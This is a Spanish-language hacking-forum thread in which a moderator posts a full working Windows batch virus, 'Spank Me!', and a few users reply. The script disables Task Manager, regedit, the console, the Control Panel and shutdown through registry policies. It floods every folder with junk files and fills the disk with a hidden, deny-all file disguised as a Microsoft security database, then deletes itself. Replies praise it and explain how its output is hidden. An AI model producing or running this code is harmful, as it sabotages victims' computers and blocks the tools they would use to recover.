elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
29 Mayo 2012, 06:58  


Tema destacado: Suscripción al boletín mensual de elhacker.net

+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting (Moderadores: Novlucker, Leo Gutiérrez., EleKtro H@cker)
| | |-+  [Batch] [Virus] Spank Me!
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Batch] [Virus] Spank Me!  (Leído 638 veces)
EleKtro H@cker
Moderador
***
Desconectado Desconectado

Mensajes: 1.348


(8) I will have that power!! (8) Jarkor! :D


Ver Perfil
[Batch] [Virus] Spank Me!
« en: 3 Febrero 2012, 04:23 »

Miren lo que hace el aburrimiento :silbar:

El script no borra archivos, Está pensado para gastar una broma muuuuuuuuuuuy pesada, Pero sin borrar nada, No hay que ser tán malos... >:D

Todo está explicado en el script.



Spank Me! (Bitch)

Nivel destructivo: 4/10

- Deshabilita componentes del sistema operativo.

- Genera archivos de 1 byte con nombre aleatorio por todas las carpetas dle disco duro. 100 archivos por cada carpeta.

- Genera un archivo vacío (Dummy) consumiendo todo el espacio libre del disco duro.






Código
@Echo OFF

:::::::::::::::::::::::::

:     Spank Me! 1.0    
:                       :
:  By EleKtrO H@ckeR    :
:                       :
: Testeado en Windows 7 :
:::::::::::::::::::::::::

 
 
 
 
REM: Deshabilita la ejecución de archivos REG

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.reg" /t Reg_SZ /d "txtfile" /f >NUL 2>&1
 
FOR /F "tokens=*" %%a in ('Reg query "HKEY_USERS" /f - ^| findstr /r .-......- ^| find /v "Classes"') do (

REM: Deshabilita el acceso a todas las aplicaciones (Inicio > Ejecutar)

reg add "%%a\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "RestrictRun" /T "REG_DWORD" /D "1" /f >NUL 2>&1

REM: Deshabilita el administrador de tareas

reg add "%%a\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /T "REG_DWORD" /D "1" /f >NUL 2>&1

REM: Deshabilita el apagado del PC

reg add "%%a\Software\Microsoft\Windows\CurrentVersion\Policies\explorer" /v "NoClose" /T "REG_DWORD" /D "1" /f >NUL 2>&1

REM: Deshabilita el cambio de usuario de sesión del PC

reg add "%%a\Software\Microsoft\Windows\CurrentVersion\Policies\explorer" /v "StartmenuLogoff" /T "REG_DWORD" /D "1" /f >NUL 2>&1

REM: Deshabilita el menú contextual del ratón

reg add "%%a\Software\Microsoft\Windows\CurrentVersion\Policies\explorer" /v "NoViewContextMenu" /T "REG_DWORD" /D "1" /f >NUL 2>&1

REM: Deshabilita el menú contextual del menú inicio

reg add "%%a\Software\Microsoft\Windows\CurrentVersion\Policies\explorer" /v "NoTrayContextMenu" /T "REG_DWORD" /D "1" /f >NUL 2>&1

REM: Deshabilita modificaciones en el menú inicio

reg add "%%a\Software\Microsoft\Windows\CurrentVersion\Policies\explorer" /v "NoChangeStartMenu" /T "REG_DWORD" /D "1" /f >NUL 2>&1

REM: Deshabilita el panel de control

reg add "%%a\Software\Microsoft\Windows\CurrentVersion\Policies\explorer" /v "NoControlPanel" /T "REG_DWORD" /D "1" /f >NUL 2>&1

REM: Deshabilita el regedit

reg add "%%a\Software\Microsoft\Windows\CurrentVersion\Policies\system" /v "DisableRegistryTools" /T "REG_DWORD" /D "1" /f >NUL 2>&1

REM: Deshabilita la consola de windows

reg add "%%a\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /T "REG_DWORD" /D "2" /f >NUL 2>&1
)

 
 
 
 
REM: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

REM: Crea archivos de 1 byte, Con nombre aleatorio, En todos los directorios del disco duro
REM: ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
 
setlocal enabledelayedexpansion
Set File=0
 
For /F "Tokens=*" %%@ in ('Dir /B /S /AD "%systemdrive%" ^| Find /V /I "Windows" ^| Find /V /I "$Recycle.Bin"') do (Call :COPY %%@)
Goto :Dummy
 
:Copy
Fsutil file createnew "%*\%Random%%Random%%Random%%Random%%Random%" 1 >NUL 2>&1
Set /A File+=1
If !FILE! EQU 100 (Set /A File=0& Goto :EOF) ELSE (Call :COPY %*)

 
 
 
 
REM: :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

REM: Crea un archivo "dummy" consumiendo TODO el espacio libre del disco duro.
REM: :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
 
:DUMMY

REM: Permisos

Takeown /F "%Windir%\winsxs" >NUL 2>&1
Icacls     "%Windir%\winsxs" /Grant TODOS:F >NUL 2>&1

 
REM Crear el Dummy

For /F "tokens=1-7 delims=: " %%a in ('fsutil volume diskfree %SYSTEMDRIVE%') do (
Set Size=%%f
Set Size=!Size:~-0,-6!
Set Size=!Size!000000
Fsutil file createnew "%WINDIR%\winsxs\Microsoft Security Database.msd" !SIZE! >NUL 2>&1
)

 
REM Protección Anti-Borrado

Takeown /F "%WINDIR%\winsxs\Microsoft Security Database.msd" >NUL 2>&1
Icacls "%WINDIR%\winsxs\Microsoft Security Database.msd" /Grant TODOS:F >NUL 2>&1
Attrib "%WINDIR%\winsxs\Microsoft Security Database.msd" +H +S +R >NUL 2>&1
Icacls "%WINDIR%\winsxs\Microsoft Security Database.msd" /Deny TODOS:F >NUL 2>&1
 
 
:FIN
Del /Q %0
Exit


« Última modificación: 3 Febrero 2012, 04:26 por EleKtro H@cker » En línea

Siempre habrá alguien más ignorante que uno mismo, Como por ejemplo el nuevo presidente de la SGAE:

"La banda ancha es totalmente innecesaria para navegar convencionalmente, Solo sirve para descargar megas y megas grandisimos, Y tal."

PD: Volviendo a la era de los 56 k.

TheTroyanDark

Desconectado Desconectado

Mensajes: 141


Echo "Aprendiendo Batch."


Ver Perfil
Re: [Batch] [Virus] Spank Me!
« Respuesta #1 en: 3 Febrero 2012, 06:20 »

Muy bueno el código Pitoloko Por cierto para que usas NUL 2>&1  :huh:


En línea

"Pensando en Batch" XD
EleKtro H@cker
Moderador
***
Desconectado Desconectado

Mensajes: 1.348


(8) I will have that power!! (8) Jarkor! :D


Ver Perfil
Re: [Batch] [Virus] Spank Me!
« Respuesta #2 en: 3 Febrero 2012, 07:25 »

Muy bueno el código Pitoloko Por cierto para que usas NUL 2>&1  :huh:

Para que no aparezca la salida de los comandos en la pantalla, osea, para que séa un poco más "invisible" xD
En línea

Siempre habrá alguien más ignorante que uno mismo, Como por ejemplo el nuevo presidente de la SGAE:

"La banda ancha es totalmente innecesaria para navegar convencionalmente, Solo sirve para descargar megas y megas grandisimos, Y tal."

PD: Volviendo a la era de los 56 k.

WaAYa HaCK

Desconectado Desconectado

Mensajes: 262


import ehn / #include <ehn.h>


Ver Perfil
Re: [Batch] [Virus] Spank Me!
« Respuesta #3 en: 3 Febrero 2012, 14:13 »

Eeeh... te aburres mucho no?  >:D

Venga ya, yo tenía uno en batch que hacía lo mismo, cambiaba todas las extensiones de archivo por .fap y, además, cambiaba el fondo de escritorio con fotos guarras cada 2 minutos xDDDD
En línea



TheTroyanDark

Desconectado Desconectado

Mensajes: 141


Echo "Aprendiendo Batch."


Ver Perfil
Re: [Batch] [Virus] Spank Me!
« Respuesta #4 en: 3 Febrero 2012, 14:54 »

A ok Pitoloko. NUL 2>&1 pero digo porque el 2 y el 1 no es lo mismo poner >nul

Salu2
En línea

"Pensando en Batch" XD
EleKtro H@cker
Moderador
***
Desconectado Desconectado

Mensajes: 1.348


(8) I will have that power!! (8) Jarkor! :D


Ver Perfil
Re: [Batch] [Virus] Spank Me!
« Respuesta #5 en: 4 Febrero 2012, 06:13 »

cambiaba todas las extensiones de archivo por .fap

XDDDD que bueno tu virus



el 2 y el 1 no es lo mismo poner >nul
no

con ">" redireccionas la salida normal, y con "2>" redireccionas la salida de errores del comando.


saludos
En línea

Siempre habrá alguien más ignorante que uno mismo, Como por ejemplo el nuevo presidente de la SGAE:

"La banda ancha es totalmente innecesaria para navegar convencionalmente, Solo sirve para descargar megas y megas grandisimos, Y tal."

PD: Volviendo a la era de los 56 k.

TheTroyanDark

Desconectado Desconectado

Mensajes: 141


Echo "Aprendiendo Batch."


Ver Perfil
Re: [Batch] [Virus] Spank Me!
« Respuesta #6 en: 4 Febrero 2012, 19:29 »

A ok ya entiendo Gracias Pitoloko  ;-)
En línea

"Pensando en Batch" XD
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[virus-batch|vbs] OBVI
Scripting
The Shadow 4 696 Último mensaje 22 Febrero 2008, 20:06
por The Shadow
Polaris (Virus en Batch)
Scripting
-[black_hack]- 9 1,893 Último mensaje 3 Marzo 2008, 02:24
por [SMT]
[virus][batch][vbs][asm] Halphas.a
Scripting
The Shadow 0 358 Último mensaje 7 Julio 2008, 23:38
por The Shadow
[virus][batch][vbs] xWorld.b
Scripting
The Shadow 0 399 Último mensaje 7 Julio 2008, 23:38
por The Shadow
mi primer virus en batch
Scripting
blha 10 2,293 Último mensaje 11 Abril 2009, 21:45
por Leo Gutiérrez.
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines